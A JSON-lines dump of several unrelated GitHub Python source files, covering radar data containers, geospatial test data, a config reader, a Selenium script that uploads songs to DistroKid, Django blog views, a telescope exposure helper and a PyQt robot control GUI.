self._y_minmax_iter[1] = detection._y\n self._rho_minmax_iter[0] = detection._rho\n self._rho_minmax_iter[1] = detection._rho\n self._theta_minmax_iter[0] = detection._theta\n self._theta_minmax_iter[1] = detection._theta\n self._rvel_minmax_iter[0] = detection._rvel\n self._rvel_minmax_iter[1] = detection._rvel\n\n def calculate_minmax(self,detection):\n self._mcc_minmax[0] = detection._mcc if detection._mcc < self._mcc_minmax[0] else self._mcc_minmax[0]\n self._mcc_minmax[1] = detection._mcc if detection._mcc > self._mcc_minmax[1] else self._mcc_minmax[1]\n self._x_minmax[0] = detection._x if detection._x < self._x_minmax[0] else self._x_minmax[0]\n self._x_minmax[1] = detection._x if detection._x > self._x_minmax[1] else self._x_minmax[1]\n self._y_minmax[0] = detection._y if detection._y < self._y_minmax[0] else self._y_minmax[0]\n self._y_minmax[1] = detection._y if detection._y > self._y_minmax[1] else self._y_minmax[1]\n self._rho_minmax[0] = detection._rho if detection._rho < self._rho_minmax[0] else self._rho_minmax[0]\n self._rho_minmax[1] = detection._rho if detection._rho > self._rho_minmax[1] else self._rho_minmax[1]\n self._theta_minmax[0] = detection._theta if detection._theta < self._theta_minmax[0] else self._theta_minmax[0]\n self._theta_minmax[1] = detection._theta if detection._theta > self._theta_minmax[1] else self._theta_minmax[1]\n self._rvel_minmax[0] = detection._rvel if detection._rvel < self._rvel_minmax[0] else self._rvel_minmax[0]\n self._rvel_minmax[1] = detection._rvel if detection._rvel > self._rvel_minmax[1] else self._rvel_minmax[1]\n\n def calculate_minmax_iter(self,detection):\n self._mcc_minmax_iter[0] = detection._mcc if detection._mcc < self._mcc_minmax_iter[0] else self._mcc_minmax_iter[0]\n self._mcc_minmax_iter[1] = detection._mcc if detection._mcc > self._mcc_minmax_iter[1] else self._mcc_minmax_iter[1]\n self._x_minmax_iter[0] = detection._x if detection._x < self._x_minmax_iter[0] else self._x_minmax_iter[0]\n self._x_minmax_iter[1] = detection._x if detection._x > self._x_minmax_iter[1] else self._x_minmax_iter[1]\n self._y_minmax_iter[0] = detection._y if detection._y < self._y_minmax_iter[0] else self._y_minmax_iter[0]\n self._y_minmax_iter[1] = detection._y if detection._y > self._y_minmax_iter[1] else self._y_minmax_iter[1]\n self._rho_minmax_iter[0] = detection._rho if detection._rho < self._rho_minmax_iter[0] else self._rho_minmax_iter[0]\n self._rho_minmax_iter[1] = detection._rho if detection._rho > self._rho_minmax_iter[1] else self._rho_minmax_iter[1]\n self._theta_minmax_iter[0] = detection._theta if detection._theta < self._theta_minmax_iter[0] else self._theta_minmax_iter[0]\n self._theta_minmax_iter[1] = detection._theta if detection._theta > self._theta_minmax_iter[1] else self._theta_minmax_iter[1]\n self._rvel_minmax_iter[0] = detection._rvel if detection._rvel < self._rvel_minmax_iter[0] else self._rvel_minmax_iter[0]\n self._rvel_minmax_iter[1] = detection._rvel if detection._rvel > self._rvel_minmax_iter[1] else self._rvel_minmax_iter[1]\n\n def recalculate_minmax(self):\n self._x_minmax = (min([elem._x for elem in self]), max([elem._x for elem in self]))\n self._y_minmax = (min([elem._y for elem in self]), max([elem._y for elem in self]))\n self._theta_minmax = (min([elem._theta for elem in self]), max([elem._theta for elem in self]))\n self._rvel_minmax = (min([elem._rvel for elem in self]), max([elem._rvel for elem in self]))\n self._rho_minmax = (min([elem._rho for elem in self]), max([elem._rho for elem in self]))\n self._mcc_minmax = (min([elem._mcc for elem in self]), max([elem._mcc for elem in self]))\n\n def modify_iteration(self,selection):\n self._mcc_minmax_iter = selection['mcc_tp'] if selection['mcc_tp'] else self._mcc_minmax\n self._x_minmax_iter = selection['x_tp'] if selection['x_tp'] else self._x_minmax\n self._y_minmax_iter = selection['y_tp'] if selection['y_tp'] else self._y_minmax\n self._rho_minmax_iter = selection['rho_tp'] if selection['rho_tp'] else self._rho_minmax\n self._theta_minmax_iter = selection['theta_tp'] if selection['theta_tp'] else self._theta_minmax\n self._rvel_minmax_iter = selection['rvel_tp'] if selection['rvel_tp'] else self._rvel_minmax\n\n def test_detection_to_select(self,detection):\n return (self._mcc_minmax_iter[0] <= detection._mcc <= self._mcc_minmax_iter[1] and\n self._x_minmax_iter[0] <= detection._x <= self._x_minmax_iter[1] and\n self._y_minmax[0] <= detection._y <= self._y_minmax[1] and\n self._rho_minmax_iter[0] <= detection._rho <= self._rho_minmax_iter[1] and\n self._theta_minmax_iter[0] <= detection._theta <= self._theta_minmax_iter[1] and\n self._rvel_minmax_iter[0] <= detection._rvel <= self._rvel_minmax_iter[1])\n\n def get_min_mcc(self):\n return self._mcc_minmax[0]\n\n def get_max_mcc(self):\n return self._mcc_minmax[1]\n\n def get_array_mcc(self):\n return [elem._mcc for elem in self]\n\n def get_array_x(self):\n return [elem._x for elem in self]\n\n def get_array_y(self):\n return [elem._y for elem in self]\n\n def get_array_rvel(self):\n return [elem._rvel for elem in self]\n\n def get_array_rho(self):\n return [elem._rho for elem in self]\n\n def get_array_theta(self):\n return [elem._theta for elem in self]\n\n def get_array_theta_deg(self):\n return [elem._theta*180/np.pi for elem in self]\n\n\ndef cnf_file_read(cnf_file):\n # Read the configuration file\n config = configparser.ConfigParser()\n config.read(cnf_file) # \"./setup.cnf\"\n\n # Get a path to a folder with data\n conf_data = {\"datafile\": config.get('Datasets', 'data_01')}\n return conf_data\n","repo_name":"petrbojda/python_list","sub_path":"data_containers.py","file_name":"data_containers.py","file_ext":"py","file_size_in_byte":9679,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"5274625216","text":"import requests\nfrom time import sleep\n\n\ndef get_range(length):\n for i in range(length):\n yield i\n\n\ndef generator(length):\n x = 42\n yield from get_range(length)\n print('x is {}'.format(x))\n\n\ndef main():\n ge = generator(5)\n for i in ge:\n print(f'got {i} from iterator')\n\n r = requests.get('http://localhost:4000/request')\n print('fin')\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"martin-jahn/pycon-workshop","sub_path":"functions/iterators.py","file_name":"iterators.py","file_ext":"py","file_size_in_byte":413,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"2680819615","text":"import numpy as np\nfrom shapely.geometry import LineString, Polygon, MultiPolygon, Point, shape, mapping\nimport fiona\n\nclokes = []\nwith fiona.open('./data/clove_lakes_utm.gpkg', layer='clove_lakes_utm') as layer:\n for feat in layer:\n clokes.append(shape(feat['geometry']).geoms[0])\nclokes = MultiPolygon(clokes)\n\nislas = []\nwith fiona.open('./data/mediterranean.gpkg', layer='fixed') as layer:\n for feat in layer:\n islas.append(shape(feat['geometry']).geoms[0])\nislas = MultiPolygon(islas)\n\njourneys = {\n 'bl': Point(288501.2,48648.0), \n 'tr': Point(294681.4,53744.4),\n 'tl': Point(294952.3,49073.8), \n 'br': Point(287778.7,53150.9),\n 'tc': Point(291107.6,53789.1), \n 'bc': Point(292653.3,48962.3),\n #'grc00': Point(5680405,1889944), \n #'grc01': Point(5579206,1609699),\n #'grc10': Point(5533696,2073182), \n #'grc11': Point(5579206,1609699),\n #'lc': Point(5533696,2073182), \n #'rc': Point(5579206,1609699)\n}\npts = {}\nwith fiona.open('./data/clove_lakes_pts.gpkg', layer='pts') as layer:\n for feat in layer:\n pts[feat['properties']['name']] = shape(feat['geometry'])\n\nwith fiona.open('./data/porto.gpkg', layer='porto_pts') as layer:\n for feat in layer:\n pts[feat['properties']['name']] = shape(feat['geometry'])\n\npts.update(journeys)\n\nwith fiona.open('./data/mediterranean.gpkg', layer='pts') as layer:\n for feat in layer:\n pts[feat['properties']['name']] = shape(feat['geometry'])\npts.update(journeys)\n\nexample_route = []\nwith fiona.open('./data/example_route.gpkg', layer='example_route') as layer:\n for feat in layer:\n example_route.append(shape(feat['geometry']))\nexample_route = example_route[0]\n\nexample_space = []\nwith fiona.open('./data/example_space.gpkg', layer='example_space') as layer:\n for feat in layer:\n example_space.append(shape(feat['geometry']).geoms[0])\nexample_space = MultiPolygon(example_space)\n\nporto = []\n#with fiona.open('./data/exampspc_simp_z_added.gpkg', layer='z_added') as layer:\nwith fiona.open('./data/porto.gpkg', layer='simplified') as layer:\n for feat in layer:\n porto.append(shape(feat['geometry']).geoms[0])\nporto = MultiPolygon(porto)\n\nbarriers = {'clokes': clokes,\n 'clokes_simp':clokes,\n 'aegean': islas,\n 'example_space': example_space,\n 'porto': porto}\n\npts['ex0'] = Point(example_route.geoms[0].coords[0])\npts['ex1'] = Point(example_route.geoms[0].coords[-1])\npts['nex0'] = Point(319641.7,59339.5)\npts['triv'] = Point(320660.8,60105.7)","repo_name":"andre-kotze/gp-trajec","sub_path":"data/test_data_2d.py","file_name":"test_data_2d.py","file_ext":"py","file_size_in_byte":2539,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"72912866328","text":"from __future__ import absolute_import\nfrom six import string_types\n\nimport json\nimport os\n\nfrom revision.exceptions import (\n ConfigNotFound,\n MissingConfigValue\n)\nfrom revision.mixins import DotDictMixin\n\n__all__ = (\n \"DEFAULT_CONFIG_PATH\",\n \"DEFAULT_CONFIG_TMPL\",\n \"DEFAULT_REVISION_FILEPATH\",\n \"Config\",\n \"read_config\",\n)\n\n\nDEFAULT_CONFIG_PATH = \".revision/config.json\"\n\nDEFAULT_CONFIG_TMPL = {\n \"clients\": []\n}\n\nDEFAULT_REVISION_FILEPATH = \".revision/{}_revisions.md\"\n\nREQUIRED_KEYS = [\n 'key',\n 'module',\n 'local_path',\n 'remote_path'\n]\n\n\nclass Config(DotDictMixin):\n\n def validate(self):\n \"\"\"\n Check the value of the config attributes.\n \"\"\"\n for client in self.clients:\n for key in REQUIRED_KEYS:\n if key not in client:\n raise MissingConfigValue(key)\n\n if 'revision_file' not in client:\n client.revision_file = DEFAULT_REVISION_FILEPATH.format(\n client.key\n )\n\n def __repr__(self):\n obj = '{' + ', '.join('%r: %r' % i for i in self.iteritems()) + '}'\n return \" {}\".format(obj)\n\n\ndef read_config(config_path_or_dict=None):\n \"\"\"\n Read config from given path string or dict object.\n\n :param config_path_or_dict:\n :type config_path_or_dict: str or dict\n :return: Returns config object or None if not found.\n :rtype: :class:`revision.config.Config`\n \"\"\"\n config = None\n\n if isinstance(config_path_or_dict, dict):\n config = Config(config_path_or_dict)\n\n if isinstance(config_path_or_dict, string_types):\n if os.path.isabs(config_path_or_dict):\n config_path = config_path_or_dict\n else:\n config_path = os.path.join(\n os.getcwd(),\n os.path.normpath(config_path_or_dict)\n )\n else:\n config_path = os.path.join(\n os.getcwd(),\n DEFAULT_CONFIG_PATH\n )\n\n if os.path.exists(config_path):\n with open(config_path, 'r') as f:\n data = json.load(f)\n config = Config(data)\n\n if config is None:\n raise ConfigNotFound()\n else:\n config.validate()\n\n return config\n","repo_name":"COLORFULBOARD/revision","sub_path":"revision/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":2279,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"39129127949","text":"import time\nimport pickle\nimport pyautogui\nimport pytesseract\nimport os\nfrom selenium import webdriver\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.chrome.options import Options\nfrom selenium import webdriver\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.support.ui import WebDriverWait\nfrom selenium.webdriver.support import expected_conditions as EC\nfrom selenium.webdriver.support.ui import Select\nfrom selenium.webdriver.common.action_chains import ActionChains\nfrom selenium.webdriver.common.alert import Alert\n\n\nemail = \"\"\npassword = \"\"\nsong_path = \"\"\ncover_path = \"\"\nmusician_first_name = \"\"\nmusician_last_name = \"\"\n\ndef confirm_alert(driver: webdriver.Chrome):\n try:\n WebDriverWait(driver, 10).until(EC.alert_is_present())\n alert = Alert(driver)\n alert.accept()\n except Exception as e:\n print(f\"Failed to confirm alert: {str(e)}\")\n\ndef cookie_button_click(driver: webdriver.Chrome):\n try:\n button = driver.find_element(By.CLASS_NAME, \"swal2-confirm.cookieModalConfirmButton.swal2-styled\")\n button.click()\n except Exception as e:\n print(\"Element not found or unable to click:\", str(e)) \n\ndef add_cookies(driver: webdriver.Chrome):\n try:\n with open(\"D:\\Programmieren\\Python\\SpotifyManager\\cookies.txt\", 'rb') as cookiesfile:\n cookies = pickle.load(cookiesfile)\n for cookie in cookies:\n driver.add_cookie(cookie)\n\n except Exception as e:\n print(\"Element not found or unable to click:\", str(e)) \n\ndef login_click(driver: webdriver.Chrome):\n try:\n driver.execute_script(\"openSignIn();\")\n\n email_button = driver.find_element(By.ID, \"inputSigninEmail\")\n email_button.click()\n pyautogui.typewrite(email.split('@')[0])\n pyautogui.hotkey('ctrl', 'alt', 'q')\n pyautogui.typewrite(email.split('@')[1])\n\n password_button = driver.find_element(By.ID, \"inputSigninPassword\")\n password_button.click()\n pyautogui.typewrite(password)\n\n signin_button = driver.find_element(By.ID, \"signinButton\")\n signin_button.click()\n \n except Exception as e:\n print(\"Element not found or unable to click:\", str(e)) \n\ndef cookie_button_click(driver: webdriver.Chrome):\n try:\n button = driver.find_element(By.CLASS_NAME, \"swal2-confirm.cookieModalConfirmButton.swal2-styled\")\n button.click()\n except Exception as e:\n print(\"Element not found or unable to click:\", str(e)) \n\ndef uncheck_platforms(driver: webdriver.Chrome):\n try:\n #checkboxes = driver.find_elements(By.NAME, \"store\")\n checkboxes = driver.find_elements(By.XPATH, \"//input[@type='checkbox']\")\n\n for checkbox in checkboxes:\n print(\"Checkbox Text:\", checkbox.text)\n checkbox.click()\n\n except Exception as e:\n print(\"Element not found or unable to click:\", str(e)) \n\ndef choose_genre(driver: webdriver.Chrome):\n try:\n dropdown_menu = driver.find_element(By.ID, \"genrePrimary\")\n driver.execute_script(\"arguments[0].scrollIntoView();\", dropdown_menu)\n dropdown_menu.click()\n time.sleep(1)\n\n try:\n image_path = 'D:\\Programmieren\\Python\\SpotifyManager\\hiphop.png'\n image_location = pyautogui.locateOnScreen(image_path, confidence=0.7)\n x, y = pyautogui.center(image_location)\n pyautogui.click(x, y)\n except Exception as e:\n print(\"error - \", str(e))\n\n driver.execute_script(\"genreChange();\")\n\n except Exception as e:\n print(\"Element not found or unable to click:\", str(e)) \n\ndef upload_cover_art(driver: webdriver.Chrome, file_path: str):\n try:\n file_input = driver.find_element(By.NAME, \"artwork\")\n driver.execute_script(\"arguments[0].scrollIntoView();\", file_input)\n file_input.send_keys(file_path)\n except Exception as e:\n print(\"Element not found or unable to click:\", str(e)) \n\ndef input_track_title(driver: webdriver.Chrome, track_title: str):\n try:\n title_element = driver.find_element(By.CSS_SELECTOR, \".coolInput.cool-input-text.uploadFileTitle.track_1\")\n driver.execute_script(\"arguments[0].scrollIntoView();\", title_element)\n title_element.click()\n time.sleep(0.5)\n pyautogui.typewrite(track_title)\n time.sleep(0.5)\n pyautogui.click(500, 500)\n confirm_alert(driver)\n\n\n except Exception as e:\n print(\"Element not found or unable to click:\", str(e)) \n\ndef input_musician(driver: webdriver.Chrome, first_name : str, last_name : str):\n try:\n first_name_element = driver.find_element(By.NAME, \"songwriter_real_name_first1\")\n driver.execute_script(\"arguments[0].scrollIntoView();\", first_name_element)\n first_name_element.click()\n time.sleep(1)\n pyautogui.typewrite(first_name)\n\n last_name_element = driver.find_element(By.NAME, \"songwriter_real_name_last1\")\n last_name_element.click()\n time.sleep(1)\n pyautogui.typewrite(last_name)\n\n\n except Exception as e:\n print(\"Element not found or unable to click:\", str(e)) \n\ndef upload_song(driver: webdriver.Chrome, file_path: str):\n try:\n file_input = driver.find_element(By.NAME, \"file\")\n driver.execute_script(\"arguments[0].scrollIntoView();\", file_input)\n file_input.send_keys(file_path)\n\n except Exception as e:\n print(\"Element not found or unable to click:\", str(e)) \n\ndef accept_requrirements(driver: webdriver.Chrome):\n try:\n checkbox0 = driver.find_element(By.ID, \"areyousureyoutube\")\n driver.execute_script(\"arguments[0].scrollIntoView();\", checkbox0)\n checkbox0.click()\n\n checkbox1 = driver.find_element(By.ID, \"areyousurerecorded\")\n checkbox1.click()\n\n checkbox2 = driver.find_element(By.ID, \"areyousurenonstandardscaps\")\n checkbox2.click()\n\n checkbox3 = driver.find_element(By.ID, \"areyousuretandc\")\n checkbox3.click()\n\n checkbox4 = driver.find_element(By.ID, \"areyousureotherartist\")\n checkbox4.click()\n\n except Exception as e:\n print(\"Element not found or unable to click:\", str(e)) \n\ndef upload_finished_button(driver: webdriver.Chrome):\n try:\n doneButton = driver.find_element(By.ID, \"doneButton\")\n doneButton.click()\n\n except Exception as e:\n print(\"Element not found or unable to click:\", str(e)) \n\n\ndef delete_assets():\n for filename in os.listdir(cover_path):\n file_path = os.path.join(cover_path, filename)\n if os.path.isfile(file_path):\n os.remove(file_path)\n for filename in os.listdir(song_path):\n file_path = os.path.join(song_path, filename)\n if os.path.isfile(file_path):\n os.remove(file_path)\n print(\"Sucesfully removed all temp files.\")\n\n\ndef init_driver():\n chrome_options = Options()\n #chrome_options.add_argument(\"--incognito\")\n #chrome_options.add_argument(\"--disable-extensions\")\n driver = webdriver.Chrome(options=chrome_options)\n return driver\n\n\ndef main(driver: webdriver.Chrome):\n try:\n driver.get(\"https://distrokid.com/\")\n print(\"Page Title:\", driver.title)\n\n cookie_button_click(driver=driver)\n add_cookies(driver=driver)\n\n login_click(driver=driver)\n\n time.sleep(2)\n driver.get(\"https://distrokid.com/new-upload/\")\n time.sleep(1)\n\n while (driver.current_url != \"https://distrokid.com/mymusic/\"):\n time.sleep(1)\n\n\n\n\n songs = os.listdir(song_path)\n for song in songs:\n driver.get(\"https://distrokid.com/new-upload/\")\n\n song_file_path = os.path.join(song_path, song)\n print(\"AUDIO PATH: \", song_file_path)\n \n cover_file_path = os.path.join(cover_path, song.replace(\".mp3\", \".jpeg\"))\n print(\"COVER PATH: \", cover_file_path)\n\n song_tile = song.replace(\".mp3\", \"\").split(\"-\", 1)[1]\n print(\"TITLE: \", song_tile, \"\\n\")\n\n time.sleep(0.5)\n choose_genre(driver=driver) \n \n time.sleep(0.5)\n upload_cover_art(driver=driver, file_path=cover_file_path)\n\n time.sleep(0.5)\n input_musician(driver=driver, first_name=musician_first_name, last_name=musician_last_name)\n\n time.sleep(0.5)\n upload_song(driver=driver, file_path=song_file_path)\n\n time.sleep(0.5)\n input_track_title(driver=driver, track_title=song_tile)\n\n time.sleep(0.5)\n accept_requrirements(driver)\n\n time.sleep(1)\n upload_finished_button(driver)\n time.sleep(5)\n print(f\"Fninished uploading {song_tile}.\\n\")\n time.sleep(2)\n\n time.sleep(1)\n print(\"\\n\\nFinished uploading all songs.\\n\")\n time.sleep(1)\n delete_assets()\n\n except Exception as e: \n print(\"An error occurred:\", str(e))\n\n \n\n\n\ndef run():\n email = \"\"\n password = \"\"\n song_path = os.path.join(os.path.dirname(os.path.abspath(__file__)), \"songs\")\n cover_path = os.path.join(os.path.dirname(os.path.abspath(__file__)), \"cover-art\")\n musician_first_name = \"enething\"\n musician_last_name = \".\"\n\n driver = init_driver()\n main(driver)\n\n\nif __name__ == \"__main__\":\n run()","repo_name":"theyluvEnething/SpotifyManager","sub_path":"distrokid_uploader.py","file_name":"distrokid_uploader.py","file_ext":"py","file_size_in_byte":9410,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"6694224383","text":"from django.contrib import messages\nfrom django.shortcuts import render, redirect, get_object_or_404\nfrom django.utils.text import slugify\nfrom django.views import View\n\nfrom .form import PostCreateUpdateForm, CommentCreateForm, CommentReplyForm, PostSearchForm\nfrom .models import Post, Comment\nfrom django.contrib.auth.mixins import LoginRequiredMixin\nfrom django.contrib.auth.decorators import login_required\nfrom django.utils.decorators import method_decorator\n\n\nclass HomeView(View):\n form_class = PostSearchForm\n\n def get(self, request):\n posts = Post.objects.all()\n if request.GET.get('search'):\n posts = posts.filter(body__contains=request.GET['search'])\n return render(request, 'home/index.html', {'posts': posts, 'form': self.form_class})\n\n\nclass PostDetailView(View):\n # def get(self, request, post_id, post_slug):\n # post = get_object_or_404(pk=post_id, slug=post_slug)\n # comments = post.pcomments.filter(is_reply=False)\n # return render(request, 'home/detail.html', {'post': post, 'comments': comments})\n form_class = CommentCreateForm\n form_class_reply = CommentReplyForm\n\n def setup(self, request, *args, **kwargs):\n self.post_instance = get_object_or_404(Post, pk=kwargs['post_id'], slug=kwargs['post_slug'])\n return super().setup(request, *args, **kwargs)\n\n def get(self, request, *args, **kwargs):\n comments = self.post_instance.pcomments.filter(is_reply=False)\n return render(request, 'home/detail.html',\n {'post': self.post_instance, 'comments': comments, 'form': self.form_class,\n 'reply_form': self.form_class_reply})\n\n @method_decorator(login_required)\n def post(self, request, *args, **kwargs):\n form = self.form_class(request.POST)\n if form.is_valid():\n new_comment = form.save(commit=False)\n new_comment.user = request.user\n new_comment.post = self.post_instance\n new_comment.save()\n messages.success(request, 'your comment submitted successfully', 'success')\n return redirect('home:post_detail', self.post_instance.id, self.post_instance.slug)\n\n\nclass PostDeleteView(LoginRequiredMixin, View):\n def get(self, request, post_id):\n post = get_object_or_404(pk=post_id)\n if post.user.id == request.user.id:\n post.delete()\n messages.success(request, 'post deleted successfully', 'success')\n else:\n messages.error(request, 'you can\"t delete this post', 'danger')\n return redirect('home:home')\n\n\nclass PostUpdateView(LoginRequiredMixin, View):\n form_class = PostCreateUpdateForm\n\n def setup(self, request, *args, **kwargs):\n self.post_instance = get_object_or_404(Post, pk=kwargs['post_id'])\n return super().setup(request, *args, **kwargs)\n\n def dispatch(self, request, *args, **kwargs):\n # post = Post.objects.get(pk=kwargs['post_id'])\n post = self.post_instance\n if not post.user.id == request.user.id:\n messages.error(request, 'you can\\t update this post', 'danger')\n return redirect('home:home')\n return super().dispatch(request, *args, **kwargs)\n\n def get(self, request, post_id, *args, **kwargs):\n post = self.post_instance\n form = self.form_class(instance=post)\n return render(request, 'home/update.html', {'form': form})\n\n def post(self, request, *args, **kwargs):\n # post = Post.objects.get(pk=post_id)\n post = self.post_instance\n form = self.form_class(request.POST, instance=post)\n if form.is_valid():\n # this is so important to save the changes and making it slugify the URL and then we call the save\n new_post = form.save(commit=False)\n new_post.slug = slugify(form.cleaned_data['body'][:50])\n new_post.save()\n messages.success(request, 'u updated this post', 'success')\n return redirect('home:post_detail', post.id, post.slug)\n\n\nclass PostCreateView(LoginRequiredMixin, View):\n form_class = PostCreateUpdateForm\n\n def get(self, request, *args, **kwargs):\n form = self.form_class\n return render(request, 'home/create.html', {'form': form})\n\n def post(self, request, *args, **kwargs):\n form = self.form_class(request.POST)\n\n if form.is_valid():\n # this is so important to save the changes and making it slugify the URL and then we call the save\n new_post = form.save(commit=False)\n new_post.slug = slugify(form.cleaned_data['body'][:50])\n # should check user\n new_post.user = request.user\n new_post.save()\n messages.success(request, 'u created this post', 'success')\n return redirect('home:post_detail', new_post.id, new_post.slug)\n\n\nclass PostAddReplyView(LoginRequiredMixin, View):\n form_class = CommentReplyForm\n\n def post(self, request, post_id, comment_id):\n post = get_object_or_404(Post, id=post_id)\n comment = get_object_or_404(Comment, id=comment_id)\n form = self.form_class(request.POST)\n if form.is_valid():\n reply = form.save(commit=False)\n reply.user = request.user\n reply.post = post\n reply.reply = comment\n reply.is_reply = True\n reply.save()\n messages.success(request, 'your reply submitted successfully', 'success')\n return redirect('home:post_detail', post.id, post.slug)\n","repo_name":"mehrdadbn9/social-media","sub_path":"home/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":5555,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"36844037675","text":"from math import log10, floor\nfrom astropy.time import Time\nfrom datetime import datetime\ntry:\n from .exofop import exofop_getcompositeinfo, exofop_getticid\nexcept ImportError: \n from libs.exofop import exofop_getcompositeinfo, exofop_getticid\n\n# Constants from unistellar spreadsheet\nbaselineExp = 3200.0\nbaselineGain = 25.0\nbaselinePeakPixelADU = 3000.0\nbaselineVmag = 11.7\ndeltaGain = 5.0\nfluxChangeFactor = 1.122 ** deltaGain\n\ndef unistellarFluxFromBaseFactor(vmag, exptime):\n return (10 ** ((vmag - baselineVmag)/-2.5)) * (float(exptime)/baselineExp)\ndef unistellarMaxGain(vmag, exptime):\n return baselineGain - (log10(unistellarFluxFromBaseFactor(vmag, exptime))/log10(1.122))\ndef unistellarBestGain(vmag, exptime):\n return floor(unistellarMaxGain(vmag, exptime)) - 1\ndef unistellarBestGainAndExp(vmag):\n exptime = 3970\n bestgain = None\n while exptime >= 1000:\n bestgain = unistellarBestGain(vmag, exptime)\n if (bestgain >= 1):\n return bestgain, exptime\n # Go down by hundreds\n exptime = floor((exptime - 100) / 100) * 100 \n return bestgain, exptime\ndef unstellarExoplanetURL(target):\n tic = exofop_getticid(target)\n if tic is None:\n return None\n skypos, vmag = exofop_getcompositeinfo(tic)\n if skypos.ra is None:\n return None\n curpos = skypos.apply_space_motion(new_obstime=Time(datetime.utcnow(), scale='utc'))\n bestgain, exptime = unistellarBestGainAndExp(vmag)\n if bestgain is None:\n return None\n return f\"unistellar://science/transit?ra={curpos.ra.deg:.5f}&dec={curpos.dec.deg:.5f}&c=3970&et={exptime}&g={bestgain}&d=3600\"\n","repo_name":"mikeprimm/evtools","sub_path":"libs/unistellar.py","file_name":"unistellar.py","file_ext":"py","file_size_in_byte":1652,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"15957683146","text":"import sys\n\nimport cv2\nfrom PyQt5.QtWidgets import (QApplication, QMainWindow, QWidget,\n QVBoxLayout, QHBoxLayout, QGridLayout,\n QPushButton, QSlider, QRadioButton,\n QLabel, QGroupBox, QFileDialog, QLineEdit)\nfrom PyQt5.QtCore import Qt\n\nfrom api import sim\nfrom api.youbot import YouBot, BotSpeed, AngularSpeed, Revolute, Grip\nfrom gui.video_frame import VideoFeedWidget\n\nyoubot = YouBot()\nSPEED = BotSpeed.SLOW.value\nDEFAULT_ANGULAR_SPEED = AngularSpeed.SLOW.value\nDURATION = 1\n\n\nclass MainWindow(QMainWindow):\n def __init__(self):\n super().__init__()\n central_widget = QWidget(self)\n self.setCentralWidget(central_widget)\n layout = QHBoxLayout(central_widget)\n\n # Video feed placeholder\n error, camera_handle = sim.simxGetObjectHandle(youbot.client_id, f\"/{youbot.name}/botcam\", sim.simx_opmode_oneshot_wait)\n if error:\n raise TypeError(str(error))\n\n self.video_widget = VideoFeedWidget(youbot.client_id, camera_handle)\n self.video_widget.setMinimumSize(512, 512)\n layout.addWidget(self.video_widget)\n\n # Side panel\n side_panel_layout = QVBoxLayout()\n\n # Control group box (for radio buttons and sliders)\n control_group = QGroupBox('Arm Controls')\n control_group_layout = QVBoxLayout(control_group)\n\n # Add a save button\n self.save_button = QPushButton('Save Image')\n self.save_button.clicked.connect(self.save_image)\n side_panel_layout.addWidget(self.save_button)\n\n # Arm controls\n self.arm_sliders = []\n SCALE_FACTOR = 100\n for joint in youbot.arm.joints:\n if isinstance(joint, Revolute):\n slider = QSlider(Qt.Horizontal)\n slider.setMinimum(int(joint.range[0] * SCALE_FACTOR))\n slider.setMaximum(int(joint.range[1] * SCALE_FACTOR))\n slider.setValue(int(joint.current_position * SCALE_FACTOR))\n\n # Create labels for min, max, and current value\n min_label = QLabel(f\"Min: {joint.range[0]} deg\")\n max_label = QLabel(f\"Max: {joint.range[1]} deg\")\n current_label = QLabel(f\"Current: {joint.current_position} deg\")\n\n slider.valueChanged.connect(lambda value, j=joint: j.move(value / SCALE_FACTOR))\n slider.valueChanged.connect(lambda value, lbl=current_label: lbl.setText(f\"Current: {value} deg\"))\n\n # add widgets to sidebar section:\n control_group_layout.addWidget(min_label)\n control_group_layout.addWidget(slider)\n control_group_layout.addWidget(max_label)\n control_group_layout.addWidget(current_label)\n\n self.arm_sliders.append(slider)\n else:\n assert isinstance(joint, Grip)\n self.grip = joint\n # Grip Control Section\n grip_layout = QVBoxLayout()\n self.grip_input = QLineEdit()\n self.grip_input.setPlaceholderText(\"Enter grip distance\")\n self.grip_button = QPushButton(\"Activate Grip\")\n self.grip_button.clicked.connect(self.__on_grip_button_clicked)\n self.grip_label_0 = QLabel(\"Grip0: 0\")\n self.grip_label_1 = QLabel(\"Grip1: 0\")\n\n # Setup grip layout\n grip_layout.addWidget(QLabel(\"Grip Size:\"))\n grip_layout.addWidget(self.grip_input)\n grip_layout.addWidget(self.grip_button)\n grip_layout.addWidget(self.grip_label_0)\n grip_layout.addWidget(self.grip_label_1)\n control_group_layout.addLayout(grip_layout)\n\n side_panel_layout.addWidget(control_group)\n\n # Button grid\n button_grid = QGridLayout()\n self.left_button = QPushButton('Left')\n self.right_button = QPushButton('Right')\n self.forward_button = QPushButton('Forward')\n self.backward_button = QPushButton('Backward')\n button_grid.addWidget(self.left_button, 1, 0)\n button_grid.addWidget(self.forward_button, 0, 1)\n button_grid.addWidget(self.right_button, 1, 2)\n button_grid.addWidget(self.backward_button, 1, 1)\n self.setup_controls()\n\n # Add button grid to the side panel\n side_panel_layout.addLayout(button_grid)\n\n # Add side panel to the main layout\n layout.addLayout(side_panel_layout)\n\n # Set the window title and show the main window\n self.setWindowTitle('Robot Control Dashboard')\n self.show()\n\n def save_image(self):\n # Open file dialog to select save path\n options = QFileDialog.Options()\n file_path, _ = QFileDialog.getSaveFileName(self, \"Save Image\", \"\", \"Images (*.png *.jpg *.jpeg)\",\n options=options)\n if file_path:\n # Assuming self.video_widget has a method to get the current frame\n frame = self.video_widget.get_current_frame()\n if frame is not None:\n frame = cv2.cvtColor(frame, cv2.COLOR_RGB2BGR)\n cv2.imwrite(file_path, frame)\n\n def __on_grip_button_clicked(self):\n try:\n distance = float(self.grip_input.text())\n self.grip.grip(distance) # Replace with your grip method call\n except ValueError:\n 